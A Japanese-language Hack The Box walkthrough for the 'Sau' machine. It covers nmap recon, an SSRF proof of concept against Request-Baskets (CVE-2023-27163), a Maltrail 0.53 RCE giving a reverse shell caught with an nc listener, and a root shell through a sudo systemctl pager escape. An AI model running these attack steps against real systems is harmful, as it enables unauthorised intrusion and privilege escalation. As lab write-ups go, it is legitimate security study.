Hack the box - Sau
1. nmapでRecon
# Nmap 7.94SVN scan initiated Tue Feb 6 21:31:14 2024 as: nmap -A -p- -oN nmap.out 10.129.229.26Nmap scan report for 10.129.229.26Host is up (0.092s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)80/tcp filtered http8338/tcp filtered unknown55555/tcp open unknown| fingerprint-strings:| FourOhFourRequest:| HTTP/1.0 400 Bad Request...
80/tcp
, 8338/tcp
はブラウザからアクセスできなさそう。55555/tcp
はアクセスできた。
2. Request-Bucketsへのアクセス
55555/tcp
はRequest-basketsというWebサーバが動いている。
Google検索したところ、Githubで公開されているようだ:darklynx/request-baskets: HTTP requests collector to test webhooks, notifications, REST clients and more …。
このRequest-basketsは、受け取ったHTTPのリクエストを分析する目的で画面上に表示したりAPIで情報を取得できたりするようにするツールらしい。このソフトウェアのAPIドキュメントについてはターゲットからもリンクが入手できる。このターゲット上で動作しているバージョンもAPIでとることができた。
{ "name": "request-baskets", "version": "1.2.1", "commit": "n/a", "commit_short": "n/a", "source_code": "https://github.com/darklynx/request-baskets"}
“Request-baskets 1.2.1”などで検索すると、CSRFの脆弱性へのPOCが見つかる。
PoC of SSRF on Request-Baskets (CVE-2023-27163)
どうやらforward_url
というパラメータを作って新たなエンドポイントを作れば、そこ目掛けて投げたリクエストはforward_url
で指定した宛先へそのままフォワードされるようだ。このPOCを使えば、ターゲットの80/tcp
や8338/tcp
にもアクセスできるのでは?
$ wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh--2024-02-07 16:54:18-- https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.shResolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 1669 (1.6K) [text/plain]Saving to: ‘CVE-2023-27163.sh’
CVE-2023-27163.sh 100%[============================================================================>] 1.63K --.-KB/s in 0.004s
2024-02-07 16:54:18 (424 KB/s) - ‘CVE-2023-27163.sh’ saved [1669/1669]
$ chmod +x CVE-2023-27163.sh
$ bash ./CVE-2023-27163.sh http://10.129.229.26:55555/ http://localhost:8338/Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "ribnjo" proxy basket...> Basket created!> Accessing http://10.129.229.26:55555/ribnjo now makes the server request to http://localhost:8338/.> Authorization: OsK4f7d_hbSKWAAevvnjPcxT5hr6vkxyeGrfwd9mvege
http://10.129.229.26:55555/ribnjo
へのアクセスは、ターゲットサーバ上のhttp://localhost:8338/
にフォワードされるようになった。
3. Maltrailへのアクセス
http://10.129.229.26:55555/ribnjo
へアクセスすると、フォワードされた先はMaltrailなるサービスが動作している。こちらもGithubにて公開されているソフトウェアのようだ。
stamparm/maltrail: Malicious traffic detection system
バージョンも0.53
とすぐに入手できる。Google検索するとすぐにPOCが見つかる。
spookier/Maltrail-v0.53-Exploit: RCE Exploit For Maltrail-v0.53
ローカルでnc
コマンドで待ち受けながらこのPOCを使うことで、リバースシェルが獲得できる。
(POC中の/bin/sh
は/bin/bash
に書き換えて使わせてもらった)
$ nc -lvnp 4444listening on [any] 4444 ...connect to [10.10.14.38] from (UNKNOWN) [10.129.229.26] 47392puma@sau:/opt/maltrail$
ユーザのフラグを入手する。
4. PrivEsc
お決まりのsudo -l
Matching Defaults entries for puma on sau: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
GTFObinsやExploit-Notesにて、pagerが起動することを悪用してrootのシェルを奪取する解説が書いてあるので試してみる。
puma@sau:~$ sudo /usr/bin/systemctl status trail.servicesudo /usr/bin/systemctl status trail.serviceWARNING: terminal is not fully functional- (press RETURN)!sh!sshh!sh# whoamiwhoamiroot
成功したのでrootのフラグをとる。 リバースシェルとかでpagerが使えなくても通るのね。